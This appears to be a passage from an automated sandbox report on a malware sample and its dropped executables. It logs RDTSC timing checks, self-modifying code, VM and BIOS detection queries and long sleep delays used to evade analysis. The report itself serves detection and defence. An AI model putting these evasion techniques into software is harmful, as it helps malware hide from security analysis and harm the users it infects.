Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EF74 second address: 104EFB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 jg 00007FF018B8718Eh 0x0000000e mov eax, dword ptr [esp+04h] 0x00000012 push ecx 0x00000013 jnp 00007FF018B8718Ch 0x00000019 pop ecx 0x0000001a mov eax, dword ptr [eax] 0x0000001c jmp 00007FF018B8718Fh 0x00000021 mov dword ptr [esp+04h], eax 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 104EFB6 second address: 104EFBB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10525C5 second address: 10525F3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 jmp 00007FF018B87195h 0x0000000a popad 0x0000000b pushad 0x0000000c jmp 00007FF018B87190h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10525F3 second address: 1052634 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FF018BAC3A4h 0x00000009 jc 00007FF018BAC396h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 jo 00007FF018BAC3BBh 0x00000018 pushad 0x00000019 jmp 00007FF018BAC3A7h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1052634 second address: 105263A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10527A2 second address: 10527AC instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10527AC second address: 10527B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10527B2 second address: 10527DC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 ja 00007FF018BAC396h 0x0000000e ja 00007FF018BAC396h 0x00000014 jg 00007FF018BAC396h 0x0000001a popad 0x0000001b jp 00007FF018BAC39Ch 0x00000021 pushad 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10527DC second address: 10527EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007FF018B87186h 0x0000000a push esi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1052EBF second address: 1052ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007FF018BAC396h 0x0000000a popad 0x0000000b pushad 0x0000000c pushad 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1052ECF second address: 1052ED5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1052ED5 second address: 1052EE2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jns 00007FF018BAC396h 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1052EE2 second address: 1052F18 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FF018B8718Ch 0x0000000d popad 0x0000000e push edi 0x0000000f pushad 0x00000010 jmp 00007FF018B87194h 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jno 00007FF018B87186h 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1053054 second address: 105305A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105305A second address: 105306A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 jne 00007FF018B87186h 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105306A second address: 1053071 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1053071 second address: 1053085 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018B8718Eh 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1053085 second address: 1053089 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1053089 second address: 105308D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105308D second address: 10530B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c js 00007FF018BAC396h 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FF018BAC3A5h 0x0000001a push eax 0x0000001b pop eax 0x0000001c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1054062 second address: 1054074 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FF018B87186h 0x0000000a popad 0x0000000b popad 0x0000000c push eax 0x0000000d push esi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1054240 second address: 1054246 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1054D12 second address: 1054D29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jns 00007FF018B87186h 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 jns 00007FF018B87186h 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1054D29 second address: 1054D2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1055296 second address: 105529C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10557C1 second address: 10557C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10557C5 second address: 10557CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10557CB second address: 10557D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007FF018BAC396h 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10557D5 second address: 105585D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push esi 0x0000000e call 00007FF018B87188h 0x00000013 pop esi 0x00000014 mov dword ptr [esp+04h], esi 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc esi 0x00000021 push esi 0x00000022 ret 0x00000023 pop esi 0x00000024 ret 0x00000025 mov dword ptr [ebp+122D24D4h], eax 0x0000002b push 00000000h 0x0000002d push 00000000h 0x0000002f push eax 0x00000030 call 00007FF018B87188h 0x00000035 pop eax 0x00000036 mov dword ptr [esp+04h], eax 0x0000003a add dword ptr [esp+04h], 00000017h 0x00000042 inc eax 0x00000043 push eax 0x00000044 ret 0x00000045 pop eax 0x00000046 ret 0x00000047 mov dword ptr [ebp+122D2745h], esi 0x0000004d push 00000000h 0x0000004f cld 0x00000050 jmp 00007FF018B8718Fh 0x00000055 push eax 0x00000056 push eax 0x00000057 push edx 0x00000058 jmp 00007FF018B87198h 0x0000005d rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105847E second address: 1058498 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FF018BAC3A6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1058498 second address: 105849E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105849E second address: 10584A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 10591F4 second address: 10591FF instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push edx 0x00000008 pop edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105E94F second address: 105E95A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FF018BAC396h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 105E95A second address: 105E95F instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1063ADA second address: 1063AE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1063AE0 second address: 1063AE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1063AE4 second address: 1063AE8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	RDTSC instruction interceptor: First address: 1063B94 second address: 1063B9E instructions: 0x00000000 rdtsc 0x00000002 js 00007FF018B87186h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CECF8 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CEDB6 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B6D477 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: B906B0 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: 9CED0D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\file.exe	Special instruction interceptor: First address: BF6617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Special instruction interceptor: First address: 10DE621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Special instruction interceptor: First address: B236BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Special instruction interceptor: First address: B23AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Special instruction interceptor: First address: 98C252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Special instruction interceptor: First address: B36D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe	Special instruction interceptor: First address: BB73F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3536BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 353AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 1BC252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 366D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: 3E73F3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: D8ECF8 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: D8EDB6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: F2D477 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: F506B0 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: D8ED0D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Special instruction interceptor: First address: FB6617 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Special instruction interceptor: First address: 5ADABB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Special instruction interceptor: First address: 5ADA0C instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe	Special instruction interceptor: First address: 76AC27 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Special instruction interceptor: First address: B6E621 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Special instruction interceptor: First address: FB36BE instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Special instruction interceptor: First address: FB3AFB instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Special instruction interceptor: First address: E1C252 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Special instruction interceptor: First address: FC6D67 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\5EQND7K5L8HE276L.exe	Special instruction interceptor: First address: 10473F3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Memory allocated: 4B40000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Memory allocated: 4CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Memory allocated: 6CE0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Memory allocated: 4930000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Memory allocated: 4B60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Memory allocated: 49A0000 memory reserve \| memory write watch

Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe

Code function: 4_2_010268B3 rdtsc

4_2_010268B3

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 5689	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 2920	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002786001\f27afcd405.exe	Window / User API: threadDelayed 363

Source: C:\Users\user\Desktop\file.exe TID: 6172	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2596	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 5016	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 7096	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe TID: 6408	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348	Thread sleep count: 77 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6348	Thread sleep time: -154077s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6376	Thread sleep count: 63 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6376	Thread sleep time: -126063s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168	Thread sleep count: 5689 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168	Thread sleep time: -11383689s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3668	Thread sleep count: 319 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3668	Thread sleep time: -9570000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5888	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5888	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep count: 70 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7164	Thread sleep time: -140070s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192	Thread sleep count: 54 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6192	Thread sleep time: -108054s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep count: 71 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6352	Thread sleep time: -142071s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6996	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168	Thread sleep count: 2920 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 6168	Thread sleep time: -5842920s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 1464	Thread sleep time: -30015s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 4112	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 1820	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 3896	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002785001\b28f5af0b9.exe TID: 7148	Thread sleep time: -108000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe TID: 3168	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe TID: 4856	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\1002784001\bd73c9fe1b.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\S39605Y99PQJP70DBWYAE5A.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CMI46CXL3718GGL9UBA.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\SLPBKPVSB544AP3LMUB.exe	Thread delayed: delay time: 922337203685477

Source: CMI46CXL3718GGL9UBA.exe, CMI46CXL3718GGL9UBA.exe, 00000004.00000002.2204872623.000000000102E000.00000040.00000001.01000000.00000006.sdmp, S39605Y99PQJP70DBWYAE5A.exe, S39605Y99PQJP70DBWYAE5A.exe, 00000005.00000002.2114688874.0000000000B03000.00000040.00000001.01000000.00000007.sdmp, skotes.exe, skotes.exe, 00000006.00000002.2136733909.0000000000333000.00000040.00000001.01000000.0000000C.sdmp, b28f5af0b9.exe, 0000000A.00000002.2580333178.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, bd73c9fe1b.exe, 0000000B.00000002.2782085296.0000000000F0F000.00000040.00000001.01000000.0000000E.sdmp, b28f5af0b9.exe, 0000001D.00000002.2771147748.0000000000725000.00000040.00000001.01000000.0000000F.sdmp, SLPBKPVSB544AP3LMUB.exe, 0000001F.00000002.2851415223.0000000000ABE000.00000040.00000001.01000000.00000018.sdmp, 5EQND7K5L8HE276L.exe, 00000020.00000002.2792896974.0000000000F93000.00000040.00000001.01000000.00000019.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: num.exe, 0000001E.00000002.2687123403.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP/
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dlli=4
Source: num.exe, 00000025.00000002.2832464579.0000000000B8D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWX
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllk>6
Source: firefox.exe, 0000001C.00000002.2748240954.00000206DF500000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll;
Source: firefox.exe, 00000021.00000002.2747002229.0000015C07E18000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllQ8
